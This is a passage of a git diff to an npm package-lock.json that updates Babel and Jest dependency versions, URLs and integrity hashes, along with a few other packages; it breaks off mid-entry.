"engines": { + "node": ">=6.9.0" + } + }, "node_modules/@babel/core/node_modules/convert-source-map": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", @@ -323,13 +338,13 @@ } }, "node_modules/@babel/generator": { - "version": "7.29.1", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz", - "integrity": "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.7.tgz", + "integrity": "sha512-DkXD5OJQaAQIdZ1bt3UZdEnHAn9Imd3IVBdX03UFe+ony9Ojw5pzr9YVKGDY1jt+Gcn/FnGkNf8r+Vj5NOJWtQ==", "license": "MIT", "dependencies": { - "@babel/parser": "^7.29.0", - "@babel/types": "^7.29.0", + "@babel/parser": "^7.29.7", + "@babel/types": "^7.29.7", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" @@ -339,14 +354,14 @@ } }, "node_modules/@babel/helper-compilation-targets": { - "version": "7.28.6", - "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz", - "integrity": "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.29.7.tgz", + "integrity": "sha512-wem6WaBj4NaVYVdNhLPPVacES6ZJ+KBBfSkTMD3YZxbP3rm3Di85tJU5ljaUNhaOynt+Aj0xruhYuzQBt8n71g==", "dev": true, "license": "MIT", "dependencies": { - "@babel/compat-data": "^7.28.6", - "@babel/helper-validator-option": "^7.27.1", + "@babel/compat-data": "^7.29.7", + "@babel/helper-validator-option": "^7.29.7", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" @@ -366,37 +381,37 @@ } }, "node_modules/@babel/helper-globals": { - "version": "7.28.0", - "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", - "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.29.7.tgz", + "integrity": "sha512-3nQVUAtvkKH9zahfWgw96Jc/uFOmjACE1kQz82E2lqWmHBgjzbNlsC22nuQTfahmWeQtTq5nQ/4Nnd2A1wj4zA==", "license": "MIT", "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-module-imports": { - "version": "7.28.6", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz", - "integrity": "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.29.7.tgz", + "integrity": "sha512-ejHwrQQYcm9xnTivShn2IDOlIzInN34AXskvq9QicvCtEzq1Vzclu/tKF8Jq1Cg8JG2GL6/EmjgsCT7lXepE3g==", "license": "MIT", "dependencies": { - "@babel/traverse": "^7.28.6", - "@babel/types": "^7.28.6" + "@babel/traverse": "^7.29.7", + "@babel/types": "^7.29.7" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-module-transforms": { - "version": "7.28.6", - "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz", - "integrity": "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.29.7.tgz", + "integrity": "sha512-UPUVSyXbOh627KiCIGQSgwWzGeBKLkaJ9PJEdrngIwMSzxLR4jS4+f1f1jb7VzBbg8nFLaYotvVPFCTqdrmTAg==", "dev": true, "license": "MIT", "dependencies": { - "@babel/helper-module-imports": "^7.28.6", - "@babel/helper-validator-identifier": "^7.28.5", - "@babel/traverse": "^7.28.6" + "@babel/helper-module-imports": "^7.29.7", + "@babel/helper-validator-identifier": "^7.29.7", + "@babel/traverse": "^7.29.7" }, "engines": { "node": ">=6.9.0" @@ -406,9 +421,9 @@ } }, "node_modules/@babel/helper-plugin-utils": { - "version": "7.28.6", - "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz", - "integrity": "sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/Dug==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.29.7.tgz", + "integrity": "sha512-G7sHYigPY17oO5SYWnfD/0MTBwVR781S/JI643e/JhUYgVgWE/61SoW3NH9KWUKyKq5LVh3npif99Wkt6j86Jw==", "dev": true, "license": "MIT", "engines": { @@ -416,27 +431,27 @@ } }, "node_modules/@babel/helper-string-parser": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", - "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.29.7.tgz", + "integrity": "sha512-Pb5ijPrZ89GDH8223L4UP8i6QApWxs04RbPQJTeWDV0/keR2E36MeKnyr6LYmUUvqRRI+Iv87SuF1W6ErINzYw==", "license": "MIT", "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-validator-identifier": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", - "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.29.7.tgz", + "integrity": "sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg==", "license": "MIT", "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/helper-validator-option": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", - "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.29.7.tgz", + "integrity": "sha512-N9ZErrD+yW5geCDtBqnOoxmR8+tNKiGuxKlDpuJxfsqpa2dFcexaziGAE/qoHLiDDreVNMupxGmSoNlyvsA3gw==", "dev": true, "license": "MIT", "engines": { @@ -444,26 +459,26 @@ } }, "node_modules/@babel/helpers": { - "version": "7.29.2", - "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.2.tgz", - "integrity": "sha512-HoGuUs4sCZNezVEKdVcwqmZN8GoHirLUcLaYVNBK2J0DadGtdcqgr3BCbvH8+XUo4NGjNl3VOtSjEKNzqfFgKw==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.7.tgz", + "integrity": "sha512-1k2lAGRMfHTcwuNYcCNUmaUffmQv8KWMfh2iJUUeRlwlwH4FdNG7mfPI10NPfLHJFThE4Tyr4mv7kTNZOiPuBg==", "dev": true, "license": "MIT", "dependencies": { - "@babel/template": "^7.28.6", - "@babel/types": "^7.29.0" + "@babel/template": "^7.29.7", + "@babel/types": "^7.29.7" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/parser": { - "version": "7.29.2", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.2.tgz", - "integrity": "sha512-4GgRzy/+fsBa72/RZVJmGKPmZu9Byn8o4MoLpmNe1m8ZfYnz5emHLQz3U4gLud6Zwl0RZIcgiLD7Uq7ySFuDLA==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.7.tgz", + "integrity": "sha512-hnORnjP/1P/zFEndoeX+n+t1RwWRJiJpM/jO7FW32Kn9r5+sJB2JWOdYo4L6k78j15eCwY3Gm/7364B1EMwtNg==", "license": "MIT", "dependencies": { - "@babel/types": "^7.29.0" + "@babel/types": "^7.29.7" }, "bin": { "parser": "bin/babel-parser.js" @@ -570,13 +585,13 @@ } }, "node_modules/@babel/plugin-syntax-jsx": { - "version": "7.28.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.28.6.tgz", - "integrity": "sha512-wgEmr06G6sIpqr8YDwA2dSRTE3bJ+V0IfpzfSY3Lfgd7YWOaAdlykvJi13ZKBt8cZHfgH1IXN+CL656W3uUa4w==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.29.7.tgz", + "integrity": "sha512-TSu8+mHCoEaaCDEZ0I3+6mvTBYR4PCxQwf2z9/r5Tbztv6NaLR3B9thGTTxX2WGuGHJqRiAbKPeGTJ5XWXVg6A==", "dev": true, "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.28.6" + "@babel/helper-plugin-utils": "^7.29.7" }, "engines": { "node": ">=6.9.0" @@ -696,13 +711,13 @@ } }, "node_modules/@babel/plugin-syntax-typescript": { - "version": "7.28.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.28.6.tgz", - "integrity": "sha512-+nDNmQye7nlnuuHDboPbGm00Vqg3oO8niRRL27/4LYHUsHYh0zJ1xWOz0uRwNFmM1Avzk8wZbc6rdiYhomzv/A==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.29.7.tgz", + "integrity": "sha512-ngr+82Sh0xMz25TPCZi+nC2iTzjfCdWS2ONXTp/PtSCHCgaCNBpdMqgvJ2ccdLlClVZ7sisIgB914j/JFe+RZA==", "dev": true, "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.28.6" + "@babel/helper-plugin-utils": "^7.29.7" }, "engines": { "node": ">=6.9.0" @@ -721,45 +736,73 @@ } }, "node_modules/@babel/template": { - "version": "7.28.6", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz", - "integrity": "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.29.7.tgz", + "integrity": "sha512-puq+Gf35oI24FeN11LkoUQFqv9uwNeWpxXZi/Ji3rRIoKAzKnxRaZ+Gkj0vKS9ZCiTESfng1N9LyOyXvo+m+Gg==", "license": "MIT", "dependencies": { - "@babel/code-frame": "^7.28.6", - "@babel/parser": "^7.28.6", - "@babel/types": "^7.28.6" + "@babel/code-frame": "^7.29.7", + "@babel/parser": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/template/node_modules/@babel/code-frame": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.7.tgz", + "integrity": "sha512-Aup7aUOfpbAUg2ROOJN6Iw5f9DMBlzu0mIkm/malLQFN/YQgO48wCj0Kxa3sEHJvPVFg7siR+qRInwXd2qhQKw==", + "license": "MIT", + "dependencies": { + "@babel/helper-validator-identifier": "^7.29.7", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" }, "engines": { "node": ">=6.9.0" } }, "node_modules/@babel/traverse": { - "version": "7.29.0", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz", - "integrity": "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==", + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.7.tgz", + "integrity": "sha512-EhlfNQtZ+NK22w5BM61ciuiq1m58ed33Wr1Xan//ZRTy6hgjnwyCffRYwzsGXdASJSUJ1guZILsErh1eQcl+zw==", "license": "MIT", "dependencies": { - "@babel/code-frame": "^7.29.0", - "@babel/generator": "^7.29.0", - "@babel/helper-globals": "^7.28.0", - "@babel/parser": "^7.29.0", - "@babel/template": "^7.28.6", - "@babel/types": "^7.29.0", + "@babel/code-frame": "^7.29.7", + "@babel/generator": "^7.29.7", + "@babel/helper-globals": "^7.29.7", + "@babel/parser": "^7.29.7", + "@babel/template": "^7.29.7", + "@babel/types": "^7.29.7", "debug": "^4.3.1" }, "engines": { "node": ">=6.9.0" } }, - "node_modules/@babel/types": { - "version": "7.29.0", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz", - "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==", + "node_modules/@babel/traverse/node_modules/@babel/code-frame": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.7.tgz", + "integrity": "sha512-Aup7aUOfpbAUg2ROOJN6Iw5f9DMBlzu0mIkm/malLQFN/YQgO48wCj0Kxa3sEHJvPVFg7siR+qRInwXd2qhQKw==", "license": "MIT", "dependencies": { - "@babel/helper-string-parser": "^7.27.1", - "@babel/helper-validator-identifier": "^7.28.5" + "@babel/helper-validator-identifier": "^7.29.7", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.7.tgz", + "integrity": "sha512-4zBIxpPzowiZpusoFkyGVwakdRJUyuH5PxQ/PrqghfdFWWasvnCdPfQXHrenDai+gyLARulZjZowCOj6fjT4pA==", + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.29.7", + "@babel/helper-validator-identifier": "^7.29.7" }, "engines": { "node": ">=6.9.0" @@ -1436,9 +1479,9 @@ } }, "node_modules/@emnapi/core": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.10.0.tgz", - "integrity": "sha512-yq6OkJ4p82CAfPl0u9mQebQHKPJkY7WrIuk205cTYnYe+k2Z8YBh11FrbRG/H6ihirqcacOgl2BIO8oyMQLeXw==", + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.9.2.tgz", + "integrity": "sha512-UC+ZhH3XtczQYfOlu3lNEkdW/p4dsJ1r/bP7H8+rhao3TTTMO1ATq/4DdIi23XuGoFY+Cz0JmCbdVl0hz9jZcA==", "dev": true, "license": "MIT", "optional": true, @@ -1448,9 +1491,9 @@ } }, "node_modules/@emnapi/runtime": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.10.0.tgz", - "integrity": "sha512-ewvYlk86xUoGI0zQRNq/mC+16R1QeDlKQy21Ki3oSYXNgLb45GV1P6A0M+/s6nyCuNDqe5VpaY84BzXGwVbwFA==", + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.9.2.tgz", + "integrity": "sha512-3U4+MIWHImeyu1wnmVygh5WlgfYDtyf0k8AbLhMFxOipihf6nrWC4syIm/SwEeec0mNSafiiNnMJwbza/Is6Lw==", "dev": true, "license": "MIT", "optional": true, @@ -2234,17 +2277,17 @@ } }, "node_modules/@jest/console": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/@jest/console/-/console-30.3.0.tgz", - "integrity": "sha512-PAwCvFJ4696XP2qZj+LAn1BWjZaJ6RjG6c7/lkMaUJnkyMS34ucuIsfqYvfskVNvUI27R/u4P1HMYFnlVXG/Ww==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/@jest/console/-/console-30.4.1.tgz", + "integrity": "sha512-v3bhyxUh9Hgmo5p6hAOXe14/R3ZxZDOsvHleh4B07z3m/x4/ngPUXEm9XwK4sF4u+f+P2ORb0Ge+MgpaqRMVDA==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", - "jest-message-util": "30.3.0", - "jest-util": "30.3.0", + "jest-message-util": "30.4.1", + "jest-util": "30.4.1", "slash": "^3.0.0" }, "engines": { @@ -2265,19 +2308,20 @@ } }, "node_modules/@jest/console/node_modules/jest-message-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.3.0.tgz", - "integrity": "sha512-Z/j4Bo+4ySJ+JPJN3b2Qbl9hDq3VrXmnjjGEWD/x0BCXeOXPTV1iZYYzl2X8c1MaCOL+ewMyNBcm88sboE6YWw==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.4.1.tgz", + "integrity": "sha512-kwCKIvq0MCW1HzLoGola9Te6JUdzgV0loyKJ3Qghrkz9i5/RRIHsL95BMQc2HBBhlBKC4j22K9p11TGHH8RBpQ==", "dev": true, "license": "MIT", "dependencies": { "@babel/code-frame": "^7.27.1", - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/stack-utils": "^2.0.3", "chalk": "^4.1.2", "graceful-fs": "^4.2.11", + "jest-util": "30.4.1", "picomatch": "^4.0.3", - "pretty-format": "30.3.0", + "pretty-format": "30.4.1", "slash": "^3.0.0", "stack-utils": "^2.0.6" }, @@ -2286,13 +2330,13 @@ } }, "node_modules/@jest/console/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -2304,60 +2348,55 @@ } }, "node_modules/@jest/console/node_modules/pretty-format": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.3.0.tgz", - "integrity": "sha512-oG4T3wCbfeuvljnyAzhBvpN45E8iOTXCU/TD3zXW80HA3dQ4ahdqMkWGiPWZvjpQwlbyHrPTWUAqUzGzv4l1JQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.4.1.tgz", + "integrity": "sha512-K6KiKMHTL4jjX4u3Kir2EW07nRfcqVTXIImx50wbjHQTcZPgg+gjVeNTIT3l3L1Rd4UefxfogquC9J37SoFyyw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/schemas": "30.0.5", + "@jest/schemas": "30.4.1", "ansi-styles": "^5.2.0", - "react-is": "^18.3.1" + "react-is-18": "npm:react-is@^18.3.1", + "react-is-19": "npm:react-is@^19.2.5" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@jest/console/node_modules/react-is": { - "version": "18.3.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", - "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", - "dev": true, - "license": "MIT" - }, "node_modules/@jest/core": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/@jest/core/-/core-30.3.0.tgz", - "integrity": "sha512-U5mVPsBxLSO6xYbf+tgkymLx+iAhvZX43/xI1+ej2ZOPnPdkdO1CzDmFKh2mZBn2s4XZixszHeQnzp1gm/DIxw==", + "version": "30.4.2", + "resolved": "https://registry.npmjs.org/@jest/core/-/core-30.4.2.tgz", + "integrity": "sha512-TZJA6cPJUFxoWhxaLo8t0VX/MZX2wPWr0uIDvLSHIvN4gu9h02vSzqI2kBADG1ExqQlC+cY09xKMSreivvrChQ==", "dev": true, "license": "MIT", "dependencies": { - "@jest/console": "30.3.0", - "@jest/pattern": "30.0.1", - "@jest/reporters": "30.3.0", - "@jest/test-result": "30.3.0", - "@jest/transform": "30.3.0", - "@jest/types": "30.3.0", + "@jest/console": "30.4.1", + "@jest/pattern": "30.4.0", + "@jest/reporters": "30.4.1", + "@jest/test-result": "30.4.1", + "@jest/transform": "30.4.1", + "@jest/types": "30.4.1", "@types/node": "*", "ansi-escapes": "^4.3.2", "chalk": "^4.1.2", "ci-info": "^4.2.0", "exit-x": "^0.2.2", + "fast-json-stable-stringify": "^2.1.0", "graceful-fs": "^4.2.11", - "jest-changed-files": "30.3.0", - "jest-config": "30.3.0", - "jest-haste-map": "30.3.0", - "jest-message-util": "30.3.0", - "jest-regex-util": "30.0.1", - "jest-resolve": "30.3.0", - "jest-resolve-dependencies": "30.3.0", - "jest-runner": "30.3.0", - "jest-runtime": "30.3.0", - "jest-snapshot": "30.3.0", - "jest-util": "30.3.0", - "jest-validate": "30.3.0", - "jest-watcher": "30.3.0", - "pretty-format": "30.3.0", + "jest-changed-files": "30.4.1", + "jest-config": "30.4.2", + "jest-haste-map": "30.4.1", + "jest-message-util": "30.4.1", + "jest-regex-util": "30.4.0", + "jest-resolve": "30.4.1", + "jest-resolve-dependencies": "30.4.2", + "jest-runner": "30.4.2", + "jest-runtime": "30.4.2", + "jest-snapshot": "30.4.1", + "jest-util": "30.4.1", + "jest-validate": "30.4.1", + "jest-watcher": "30.4.1", + "pretty-format": "30.4.1", "slash": "^3.0.0" }, "engines": { @@ -2386,19 +2425,20 @@ } }, "node_modules/@jest/core/node_modules/jest-message-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.3.0.tgz", - "integrity": "sha512-Z/j4Bo+4ySJ+JPJN3b2Qbl9hDq3VrXmnjjGEWD/x0BCXeOXPTV1iZYYzl2X8c1MaCOL+ewMyNBcm88sboE6YWw==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.4.1.tgz", + "integrity": "sha512-kwCKIvq0MCW1HzLoGola9Te6JUdzgV0loyKJ3Qghrkz9i5/RRIHsL95BMQc2HBBhlBKC4j22K9p11TGHH8RBpQ==", "dev": true, "license": "MIT", "dependencies": { "@babel/code-frame": "^7.27.1", - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/stack-utils": "^2.0.3", "chalk": "^4.1.2", "graceful-fs": "^4.2.11", + "jest-util": "30.4.1", "picomatch": "^4.0.3", - "pretty-format": "30.3.0", + "pretty-format": "30.4.1", "slash": "^3.0.0", "stack-utils": "^2.0.6" }, @@ -2407,13 +2447,13 @@ } }, "node_modules/@jest/core/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -2425,31 +2465,25 @@ } }, "node_modules/@jest/core/node_modules/pretty-format": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.3.0.tgz", - "integrity": "sha512-oG4T3wCbfeuvljnyAzhBvpN45E8iOTXCU/TD3zXW80HA3dQ4ahdqMkWGiPWZvjpQwlbyHrPTWUAqUzGzv4l1JQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.4.1.tgz", + "integrity": "sha512-K6KiKMHTL4jjX4u3Kir2EW07nRfcqVTXIImx50wbjHQTcZPgg+gjVeNTIT3l3L1Rd4UefxfogquC9J37SoFyyw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/schemas": "30.0.5", + "@jest/schemas": "30.4.1", "ansi-styles": "^5.2.0", - "react-is": "^18.3.1" + "react-is-18": "npm:react-is@^18.3.1", + "react-is-19": "npm:react-is@^19.2.5" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@jest/core/node_modules/react-is": { - "version": "18.3.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", - "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", - "dev": true, - "license": "MIT" - }, "node_modules/@jest/diff-sequences": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/@jest/diff-sequences/-/diff-sequences-30.3.0.tgz", - "integrity": "sha512-cG51MVnLq1ecVUaQ3fr6YuuAOitHK1S4WUJHnsPFE/quQr33ADUx1FfrTCpMCRxvy0Yr9BThKpDjSlcTi91tMA==", + "version": "30.4.0", + "resolved": "https://registry.npmjs.org/@jest/diff-sequences/-/diff-sequences-30.4.0.tgz", + "integrity": "sha512-zOpzlfUs45l6u7jm39qr87JCHUDsaeCtvL+kQe/Vn9jSnRB4/5IPXISm0h9I1vZW/o00Kn4UTJ2MOlhnUGwv3g==", "dev": true, "license": "MIT", "engines": { @@ -2457,35 +2491,35 @@ } }, "node_modules/@jest/environment": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-30.3.0.tgz", - "integrity": "sha512-SlLSF4Be735yQXyh2+mctBOzNDx5s5uLv88/j8Qn1wH679PDcwy67+YdADn8NJnGjzlXtN62asGH/T4vWOkfaw==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-30.4.1.tgz", + "integrity": "sha512-AK9yNRqgKxiabqMoe4oW+3/TSSeV8vkdC7BGaxZdU0AFXfOpofTLqdru2GXKZghP3sdgwE9XXpnVwfZ8JnFV4w==", "dev": true, "license": "MIT", "dependencies": { - "@jest/fake-timers": "30.3.0", - "@jest/types": "30.3.0", + "@jest/fake-timers": "30.4.1", + "@jest/types": "30.4.1", "@types/node": "*", - "jest-mock": "30.3.0" + "jest-mock": "30.4.1" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, "node_modules/@jest/environment-jsdom-abstract": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/@jest/environment-jsdom-abstract/-/environment-jsdom-abstract-30.3.0.tgz", - "integrity": "sha512-0hNFs5N6We3DMCwobzI0ydhkY10sT1tZSC0AAiy+0g2Dt/qEWgrcV5BrMxPczhe41cxW4qm6X+jqZaUdpZIajA==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/@jest/environment-jsdom-abstract/-/environment-jsdom-abstract-30.4.1.tgz", + "integrity": "sha512-dSlKrqug3siYNHVnjwIldShY12wAH3spwRltO/+8VOjg0X+xEq7vOs3DbBs4LRKsu7OH+NUb9kuZUNBF9Ho3TA==", "dev": true, "license": "MIT", "dependencies": { - "@jest/environment": "30.3.0", - "@jest/fake-timers": "30.3.0", - "@jest/types": "30.3.0", + "@jest/environment": "30.4.1", + "@jest/fake-timers": "30.4.1", + "@jest/types": "30.4.1", "@types/jsdom": "^21.1.7", "@types/node": "*", - "jest-mock": "30.3.0", - "jest-util": "30.3.0" + "jest-mock": "30.4.1", + "jest-util": "30.4.1" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" @@ -2501,13 +2535,13 @@ } }, "node_modules/@jest/environment-jsdom-abstract/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": 